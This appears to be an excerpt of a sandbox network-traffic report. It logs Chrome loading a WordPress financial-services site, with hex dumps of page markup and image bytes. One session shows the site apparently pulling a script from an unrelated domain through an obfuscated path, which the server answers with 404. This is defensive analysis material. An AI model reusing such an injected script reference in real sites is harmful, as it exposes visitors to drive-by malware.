2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 61 6e 63 69 61 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 31 37 2f 30 36 2f 66 61 76 69 63 6f 6e 2d 31 2e 70 6e 67 22 2c 22 77 69 64 74 68 22 3a 38 30 2c 22 68 65 69 67 68 74 22 3a 34 35 2c 22 63 61 70 74 69 6f 6e 22 3a 22 42 46 4a 20 46 69 6e 61 6e 63 69 61 6c 20 47 72 6f 75 70 22 7d 2c 22 69 6d 61 67 65 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 23 2f 73 63 68 65 6d 61 2f 6c 6f 67 6f 2f 69 6d 61 67 65 2f 22 7d 2c 22 73 61 6d 65 41 73 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 62 66 6a 66 69 6e 61 6e 63 69 61 6c 22 2c 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 6e 6b 65 64 69 6e 2e 63 6f 6d 2f 63 6f Data Ascii: ancial.com/wp-content/uploads/2017/06/favicon-1.png","width":80,"height":45,"caption":"BFJ Financial Group"},"image":{"@id":"https://www.bfjfinancial.com/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/bfjfinancial","https://www.linkedin.com/co
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 6c 65 20 41 6e 61 6c 79 74 69 63 73 20 62 79 20 45 78 61 63 74 4d 65 74 72 69 63 73 20 70 6c 75 67 69 6e 20 76 37 2e 32 35 2e 30 20 2d 20 55 73 69 6e 67 20 41 6e 61 6c 79 74 69 63 73 20 74 72 61 63 6b 69 6e 67 20 2d 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 65 78 61 63 74 6d 65 74 72 69 63 73 2e 63 6f 6d 2f 20 2d 2d 3e 0a 09 09 3c 21 2d 2d 20 4e 6f 74 65 3a 20 45 78 61 63 74 4d 65 74 72 69 63 73 20 69 73 20 6e 6f 74 20 63 75 72 72 65 6e 74 6c 79 20 63 6f 6e 66 69 67 75 72 65 64 20 6f 6e 20 74 68 69 73 20 73 69 74 65 2e 20 54 68 65 20 73 69 74 65 20 6f 77 6e 65 72 20 6e 65 65 64 73 20 74 6f 20 61 75 74 68 65 6e 74 69 63 61 74 65 20 77 69 74 68 20 47 6f 6f 67 6c 65 20 41 6e 61 6c 79 74 69 63 73 20 69 6e 20 74 68 65 20 45 78 61 63 74 4d 65 74 72 69 63 73 20 73 Data Ascii: le Analytics by ExactMetrics plugin v7.25.0 - Using Analytics tracking - https://www.exactmetrics.com/ -->... Note: ExactMetrics is not currently configured on this site. The site owner needs to authenticate with Google Analytics in the ExactMetrics s
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 75 66 65 30 66 5c 75 32 30 30 62 5c 75 32 36 61 37 5c 75 66 65 30 66 22 29 3f 21 31 3a 21 6e 28 65 2c 22 5c 75 64 38 33 63 5c 75 64 64 66 61 5c 75 64 38 33 63 5c 75 64 64 66 33 22 2c 22 5c 75 64 38 33 63 5c 75 64 64 66 61 5c 75 32 30 30 62 5c 75 64 38 33 63 5c 75 64 64 66 33 22 29 26 26 21 6e 28 65 2c 22 5c 75 64 38 33 63 5c 75 64 66 66 34 5c 75 64 62 34 30 5c 75 64 63 36 37 5c 75 64 62 34 30 5c 75 64 63 36 32 5c 75 64 62 34 30 5c 75 64 63 36 35 5c 75 64 62 34 30 5c 75 64 63 36 65 5c 75 64 62 34 30 5c 75 64 63 36 37 5c 75 64 62 34 30 5c 75 64 63 37 66 22 2c 22 5c 75 64 38 33 63 5c 75 64 66 66 34 5c 75 32 30 30 62 5c 75 64 62 34 30 5c 75 64 63 36 37 5c 75 32 30 30 62 5c 75 64 62 34 30 5c 75 64 63 36 32 5c 75 32 30 30 62 5c 75 64 62 34 30 5c 75 64 63 36 35 Data Ascii: ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 43 61 6e 76 61 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 55 52 4c 26 26 55 52 4c 2e 63 72 65 61 74 65 4f 62 6a 65 63 74 55 52 4c 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 42 6c 6f 62 29 74 72 79 7b 76 61 72 20 65 3d 22 70 6f 73 74 4d 65 73 73 61 67 65 28 22 2b 66 2e 74 6f 53 74 72 69 6e 67 28 29 2b 22 28 22 2b 5b 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 73 29 2c 75 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 74 6f 53 74 72 69 6e 67 28 29 5d 2e 6a 6f 69 6e 28 22 2c 22 29 2b 22 29 29 3b 22 2c 72 3d 6e 65 77 20 42 6c 6f 62 28 5b 65 5d 2c 7b 74 79 70 65 3a 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 7d 29 2c 61 3d 6e 65 77 20 57 6f 72 6b 65 72 28 55 52 4c 2e 63 72 65 61 74 65 4f 62 6a 65 63 74 55 52 Data Ascii: Canvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectUR
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 2d 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 73 73 2f 64 69 73 74 2f 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2f 73 74 79 6c 65 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 34 61 31 32 34 65 30 39 30 64 37 65 65 39 36 35 66 37 35 66 31 31 64 65 65 31 34 33 31 31 37 64 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 77 70 2d 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2d 74 68 65 6d 65 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 2e 77 70 2d 62 6c 6f 63 6b 2d 61 75 64 69 6f 20 66 69 67 Data Ascii: -block-library-css' href='https://www.bfjfinancial.com/wp-includes/css/dist/block-library/style.min.css?ver=4a124e090d7ee965f75f11dee143117d' type='text/css' media='all' /><style id='wp-block-library-theme-inline-css' type='text/css'>.wp-block-audio fig
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 65 72 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 31 32 35 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 2e 68 61 73 2d 74 65 78 74 2d 61 6c 69 67 6e 2d 72 69 67 68 74 7b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 2e 32 35 65 6d 20 73 6f 6c 69 64 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 2e 68 61 73 2d 74 65 78 74 2d 61 6c 69 67 6e 2d 63 65 6e 74 65 72 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 7d 2e 77 Data Ascii: er{color:currentColor;font-size:.8125em;font-style:normal;position:relative}.wp-block-quote.has-text-align-right{border-left:none;border-right:.25em solid;padding-left:0;padding-right:1em}.wp-block-quote.has-text-align-center{border:none;padding-left:0}.w
2024-04-11 20:34:58 UTC	1378	IN	Data Raw: 6c 6f 63 6b 2d 74 65 6d 70 6c 61 74 65 2d 70 61 72 74 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 70 61 64 64 69 6e 67 3a 31 2e 32 35 65 6d 20 32 2e 33 37 35 65 6d 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 63 6c 61 73 73 69 63 2d 74 68 65 6d 65 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 Data Ascii: lock-template-part.has-background{margin-bottom:0;margin-top:0;padding:1.25em 2.375em}</style><style id='classic-theme-styles-inline-css' type='text/css'>/! This file is auto-generated /.wp-block-button__link{color:#fff;background-color:#32373c;bord

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49782	88.119.175.92	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:57 UTC	582	OUT	GET /LD3pWFcfijFIH9NqGwTFel4f03pFVZ0hSledIEBejjJbUId6UQ== HTTP/1.1 Host: welcome.visionaryyouth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:02 UTC	165	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 11 Apr 2024 20:35:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-11 20:35:02 UTC	209	IN	Data Raw: 63 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: cb<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2024-04-11 20:35:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49784	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:57 UTC	636	OUT	GET /wp-content/uploads/2017/06/shutterstock_521063305.jpg HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:57 UTC	715	IN	HTTP/1.1 200 OK Connection: close Content-Length: 30551 x-fw-version: 5.0.0 last-modified: Thu, 31 Aug 2017 08:25:17 GMT x-fw-hash: thumialfjs x-fw-server: Flywheel/5.1.0 cache-control: public, max-age=31536000 content-type: image/jpeg referrer-policy: no-referrer-when-downgrade x-content-type-options: nosniff x-xss-protection: 1 etag: "59a7c7ed-7757" Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:57 GMT X-Served-By: cache-ewr18142-EWR, cache-ewr18183-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867698.769042,VS0,VE175 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0b 0b 09 0c 11 0f 12 12 11 0f 11 11 13 16 1c 17 13 14 1a 15 11 11 18 21 18 1a 1d 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c2 00 11 08 01 0f 01 aa 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 00 05 01 02 03 04 06 07 00 08 ff c4 00 1a 01 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 00 00 03 01 02 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 e9 3e a0 51 a8 6c Data Ascii: JFIFC!"$"$C">Ql
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: ba 07 1c 38 8c 4b d8 d9 08 f7 95 41 ac 91 00 30 4d 9b 2c 61 76 74 88 93 9b ce 17 76 3d cf d9 73 4d 55 93 a1 55 57 e6 f7 bc 81 9f c5 75 4e 7f 27 39 23 b9 25 31 94 ea 6d c3 d2 c5 72 95 6f e5 d6 61 95 6c a5 b0 69 05 96 ed f9 a6 31 01 92 44 7e 16 95 34 76 57 61 f6 b6 44 9e 6a 81 d8 9e 13 2f 59 80 ef 05 c7 d3 ab 6e b4 24 ba ed 1b fa 32 d7 ad a0 ac ec a5 68 1e 1d 65 93 b1 35 98 20 9d fe 82 37 2a 07 bd e5 05 f2 3c 23 49 10 22 04 44 6a 75 e0 7a 1f 3d da e7 dc 25 c5 32 d6 47 42 25 82 db bf 14 de 4f 31 5e 63 d0 29 b4 5e 65 6d 4c 91 81 2b 60 9b 7b eb 34 bf 39 ab d4 e1 7e 5e 71 27 57 e7 3a f0 9b a1 15 08 75 ac d4 75 eb 79 bb 7f 0f dd 59 1b f5 89 cc ca 58 59 21 39 7a f5 72 0b 7d 1b 28 15 d1 cd a3 18 72 37 66 9a 8e 1d a1 03 31 a4 0b a5 c9 06 8a f8 63 50 32 17 d1 0b b2 Data Ascii: 8KA0M,avtv=sMUUWuN'9#%1mroali1D~4vWaDj/Yn$2he5 7*<#I"Djuz=%2GB%O1^c)^emL+`{49~^q'W:uuyYXY!9zr}(r7f1cP2
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 87 2b 73 30 f7 7f c4 ff 00 29 bb f8 9e d7 f6 f1 5f 18 bd fc 4b f1 c6 3e e8 dd fc 04 cf a0 fc 69 be 50 16 c7 f8 37 c3 d9 14 ce ef 99 8a db 63 a1 d4 85 31 f2 a2 27 24 cb dd e3 3e a8 51 b2 74 6d 81 04 8c ea 45 90 72 6a ec cc 50 c8 56 86 56 0b 46 9e 2e 52 6d 84 91 fc 27 2f 44 e2 31 06 3f d3 69 08 70 32 71 4f 3b ae a8 32 f3 11 32 eb c1 af 35 07 37 54 1f c4 06 15 0e 4a cf 04 21 07 c7 c4 bf 1c 43 ef 1f 67 bc 0b fe 74 84 09 37 34 6b dd be 9f 6e 27 28 b2 e5 39 48 00 41 98 c4 97 8a 31 af 46 d4 8f 1c cc fb 77 ef be fa 13 e9 91 68 87 c3 f7 ba 12 ef b9 7b 3f b4 aa d4 22 0f 62 d6 9e 28 62 8a 19 d9 de cd 9d 47 0c 0e 06 ac bf 59 63 e1 f4 6d 7e ba cb f5 d0 5f ae 44 bf 5b 85 7e b5 02 7c cd 65 fa b5 44 f9 4a 4b f5 3a 4b f5 2a 48 32 94 99 06 62 9a cc 5d 86 da c2 3e f1 d3 77 Data Ascii: +s0)_K>iP7c1'$>QtmErjPVVF.Rm'/D1?ip2qO;2257TJ!Cgt74kn'(9HA1Fwh{?"b(bGYcm~_D[~\|eDJK:K*H2b]>w
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: e4 ad 10 47 a2 8a 28 51 92 23 e6 55 e1 96 73 a7 e1 f3 75 56 bc 55 a2 d2 d2 71 52 d1 82 44 f8 c9 23 21 82 66 67 f7 d3 2e 55 7b d3 57 15 3f ef 7c 6c dd a2 8e 49 4e be 0a c1 ab f1 bd 4b 9f 47 83 0b ef 67 5b ef 50 fe ba 95 98 86 5a 68 98 e2 26 22 12 86 f3 b2 8e 40 91 b8 5b ef 0c a3 d4 8b 1d 6f ac 1f 4f 89 ea 95 56 a4 1e 62 a5 09 a7 b4 f4 99 c4 eb 95 b0 be 30 c9 0d ac 74 f0 50 96 37 13 0f 10 e3 9f 1f 6c 8f 6a bd 4b 16 5e 0c 44 51 b6 1e 21 10 fe 07 6e eb ba c9 97 db c2 eb cd e6 02 b5 b1 92 fd 4a 90 f2 e4 ee b8 45 8e a4 ac 14 67 63 8f 83 8b 59 0c e4 67 20 d4 67 1a eb b3 92 76 67 69 6a 33 a9 a1 28 dd b6 2f 0d f2 15 1c 81 20 d8 0e ac 76 27 b5 5e d7 2f a2 9d 81 b3 0f 1d 6d 58 86 39 a2 bf 4e eb 65 3c 41 8e b6 01 34 4f 71 9d c6 dd 6e 58 7a 38 4c 7d ab 53 53 ab 15 2a Data Ascii: G(Q#UsuVUqRD#!fg.U{W?\|lINKGg[PZh&"@[oOVb0tP7ljK^DQ!nJEgcYg gvgij3(/ v'^/mX9Ne<A4OqnXz8L}SS*
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: f9 78 5a 97 94 58 c7 64 dc ea 63 60 8e 9d 52 79 f2 d7 ba 0b 16 26 d0 30 0b a3 77 64 0f cc 24 2c e9 bb 31 fd 12 2b c3 c9 6b 81 2a 04 43 70 1f d0 4f a7 64 e8 3f 20 7c 7f e4 db 6f 6e a0 9a c4 d3 d4 b2 43 b4 55 95 ba 7b 1b 30 bc 27 bf 48 b0 68 79 e5 2d f2 8f d1 86 fc 68 5d 90 96 db 7c c5 c3 be 93 be 98 8b 9c b7 a5 35 de 89 52 7e 70 ca dc 60 1b 5c d2 5d ab ad 37 11 67 62 43 dd fb 70 75 27 b6 6d b9 72 3c 1d 46 5c 93 44 fe 82 1e e3 ee 3f 8c 3f 28 fc 5b e2 fe e4 db 68 62 e9 44 ec 9c 54 91 ed b2 55 18 c4 c4 a2 93 44 42 65 cc 99 bb 6f e8 c5 f6 99 d3 72 b2 1d 2d ed d5 a5 5c bd 2a d7 33 83 7a 54 f2 0c 63 b1 52 e4 09 0f 34 cf d0 84 b2 50 37 61 75 be 26 99 99 9f d9 49 3a 13 72 9c fd bc 40 3a c9 13 69 33 29 58 89 7a 85 53 93 a9 02 ec a1 41 da 78 fe 23 f0 2f 95 30 dc 9c Data Ascii: xZXdc`Ry&0wd$,1+kCpOd? \|onCU{0'Hhy-h]\|5R~p`\]7gbCpu'mr<F\D??([hbDTUDBeor-\3zTcR4P7au&I:r@:i3)XzSAx#/0
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 37 13 d3 7e 2e 11 3d b5 08 9a 9a 9c d8 30 dd 24 4d 96 98 af 82 2f e4 55 49 44 0e 76 0a 67 62 76 78 8d 1e 2f 2a 81 c2 85 5a 83 a2 8c d0 ae a4 80 52 aa cf 3d 7b 4e 59 45 1d 90 26 8d 34 46 94 a2 9e 4a f6 8d bc 81 a2 06 a8 a2 9a ad d2 54 e0 44 27 37 90 a1 97 a8 3e f9 2d 03 5c ac 95 cc d9 3a 62 e5 5b cc ff 00 37 a6 1a 7f 3c 66 80 f6 5c 53 55 a2 cd d4 d4 6e 9f 1b 99 ba 2a a6 37 62 09 8e 0f 15 17 3e 56 b3 74 e6 07 6e ba 2c f6 58 1a 38 53 fa a9 9b 5c f6 73 d9 7b 6e 2d 0e d0 a9 ac 5f 42 92 32 dd 0a 8a 4e 9b be ca 5b 4f 0d 4c 1c 95 ff c4 00 2f 11 00 02 01 02 05 03 03 03 03 05 01 00 00 00 00 00 00 01 02 03 11 10 12 20 21 31 04 13 41 14 22 51 23 30 32 15 52 71 05 34 42 61 62 81 ff da 00 08 01 02 01 01 3f 01 71 94 79 5a aa c5 3a 70 bf fb 26 bd c5 3b 5f 7f b3 24 e5 2b Data Ascii: 7~.=0$M/UIDvgbvx/ZR={NYE&4FJTD'7>-\:b[7<f\SUn7b>Vtn,X8S\s{n-_B2N[OL/ !1A"Q#02Rq4Bab?qyZ:p&;_$+
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 69 98 2b 5b 84 46 d2 20 e7 9a 02 d2 4a d6 71 e0 a6 e6 39 cf bd 32 54 83 5e 5d d2 4a a6 4d c8 21 5a 95 75 b8 f3 5c 1e ee 2e 45 f7 44 dd 87 24 e8 51 65 3c 41 0b be 10 5b a0 0e 96 ca 6f c3 34 77 df 8e 2a 77 dd 87 24 37 8e 38 2d 1f dd d1 dc a3 7d ef d1 3f aa 3d 54 0e a5 40 fb 81 1e aa 76 95 23 88 fb 1a 59 32 ae c3 13 e6 a3 3e 09 ed 25 c3 19 71 59 72 52 95 72 53 b3 a2 e6 31 42 33 6a dc 1e dc c2 6c 58 66 f3 1e 26 d3 6e e0 9a 9e 68 b5 8f 7c 82 de 79 28 b4 92 5c 47 92 de a4 8a 6b a5 2b ca e8 c5 ca 18 23 78 f1 4d e7 4b 04 cc e5 65 1b 35 58 2f 5d d8 ff 00 15 8c 70 ae eb 22 81 95 d5 33 19 dd 2e 2f 48 9f 64 34 7b a1 dc e6 9c ff 00 49 ef 19 a3 76 30 75 90 3c d4 0e 89 db 18 1c 55 e9 15 31 f6 32 15 36 53 e2 a8 bd 2f 47 6f 62 f3 87 84 a1 5d e5 87 92 94 e8 a4 81 6f 9a 98 Data Ascii: i+[F Jq92T^]JM!Zu\.ED$Qe<A[o4w*w$78-}?=T@v#Y2>%qYrRrS1B3jlXf&nh\|y(\Gk+#xMKe5X/]p"3./Hd4{Iv0u<U126S/Gob]o
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: cd 32 28 18 1a 4b 9d 3e 1c 54 d8 67 f7 e8 bf d4 6a 9a 7e fa de d2 a0 0f c6 af c3 8c d7 34 f1 08 b7 2b 77 d8 cb df 75 50 7c 1a a8 d7 fc 11 7b 81 04 ac 4a a3 94 a8 b5 51 71 18 1c c6 d3 bf 88 c0 80 1c f2 77 a7 dd 67 bd 24 34 7d 26 31 0e 2e 9c 38 a6 b2 39 79 a1 a1 c4 82 5b a2 97 ff 00 f6 07 78 91 d0 df 06 4c 9d c7 68 cd fa f5 e6 8e 8f a3 86 ea bf 36 bc 73 2a 10 80 d7 31 bd e8 0c 67 b0 79 f3 0b d3 e1 c6 87 aa ee c6 87 0e bb c7 d9 1c b9 a6 69 ba 26 f4 56 b6 63 df 6e 5d 55 15 c3 e4 ba 2e 56 4c 29 a3 02 29 ec 62 7f b4 e6 a4 73 b0 ad ef 8a bf 0a 23 5a ef 0b 8a 1a 44 59 99 d0 06 f1 28 17 6e b4 77 5b 96 c6 0b 04 e7 bc 4d d3 4f 80 d8 62 42 5c 54 c3 19 3e 62 6a 42 20 1d 1a 15 fb e6 7c 90 ed 9f 4c 24 56 f4 58 87 f1 5a d1 93 dc 14 41 cd 38 f2 53 79 92 0e 96 2a 7a 92 f1 Data Ascii: 2(K>Tgj~4+wuP\|{JQqwg$4}&1.89y[xLh6s1gyi&Vcn]U.VL))bs#ZDY(nw[MObB\T>bjB \|L$VXZA8Syz
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 0c 9b fd d0 85 04 36 13 47 c0 2d 74 78 fa 44 46 8a c9 8d a2 93 7d 2a 21 94 d5 34 28 ae ea f5 bb fc 31 9e 65 6e ff 00 0e d1 87 e1 53 66 8f 01 9d 1a b7 f8 61 64 da eb 26 36 83 80 bb 5c 38 15 32 80 94 cb dd 49 ad 64 06 30 46 1f ee e4 56 a2 2c ef 8c 27 c7 97 55 e8 91 0e 1e ac fe 9b 4e d3 c8 7e e8 ed 58 cf 6f 9f 24 d6 68 d0 db 06 24 2e eb 7c 2e cb cd 17 e9 32 89 11 f2 37 31 6b 51 73 c8 00 7c 96 a7 42 98 6f 18 9f b2 9c 47 b4 12 78 95 2d 68 f8 2f 5e cf 35 bb 15 87 f1 27 c6 f1 1a 5b 77 bf 14 e0 c0 b5 9a 49 fc 39 29 2f 45 8c e9 bb d8 76 7c b6 a5 65 f7 fc 15 cd 1e 1c 95 e8 d1 1b 0c 73 2a 6f 7e b5 f9 21 77 b3 6b f7 40 0a bc 5a 9b 28 77 af 73 45 d2 63 5a d2 27 45 4d 9a 84 2e a9 bb 62 aa a5 11 ac bb ac dd 9e 48 06 1d e6 d4 3b 9a 1a c9 4c 8e 0b d2 34 77 88 6e 77 7a 7c Data Ascii: 6G-txDF}!4(1enSfad&6\82Id0FV,'UN~Xo$h$.\|.271kQs\|BoGx-h/^5'[wI9)/Ev\|eso~!wk@Z(wsEcZ'EM.bH;L4wnwz\|
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: d5 c0 75 ca 57 75 35 93 87 14 38 ca a1 4f 8a 93 82 98 37 a5 80 2a 6f 04 2a e1 60 75 d1 7b 3d a9 db de 53 ad 90 63 75 69 b2 e4 31 60 0f 28 b7 23 61 cd b6 4f 92 16 97 c3 8a 61 9a 74 41 c0 87 37 c4 dc 36 b5 8d 15 e3 b6 0d 93 9a 27 35 d6 d8 91 3c 4e b2 4d 7d e6 f8 5c a4 46 ad fc f0 58 a9 19 4c a1 b6 d3 0b 89 91 28 be 34 67 0a 50 39 c8 90 67 cf 65 d3 f1 05 45 dd 9a e6 af 13 32 9e db 0f 34 10 e9 b0 ef 25 7a 13 ae 19 f0 e2 a5 18 6a cf 88 77 4a fd 46 cd f6 8d d3 f2 d8 93 7e 2b bc eb 3d 41 f3 72 f5 4d 1e 6b d9 1e 4b d6 7c 95 62 bf e2 a2 38 b8 d1 bc 4e ce e3 c8 4d 73 dc 48 65 50 db ba f6 35 cd e6 a6 d8 30 41 f8 a9 07 0f 26 aa bd de 4b db 77 9a a3 27 d4 d8 3f f9 2c b9 0c 55 4d e6 aa 85 3e c6 bd 02 99 d3 60 f4 4e ea aa bb 17 5d f7 78 29 45 1a 97 73 ee 9d 82 08 a2 97 Data Ascii: uWu58O7o`u{=Scui1`(#aOatA76'5<NM}\FXL(4gP9geE24%zjwJF~+=ArMkK\|b8NMsHeP50A&Kw'?,UM>`N]x)Es

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49785	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
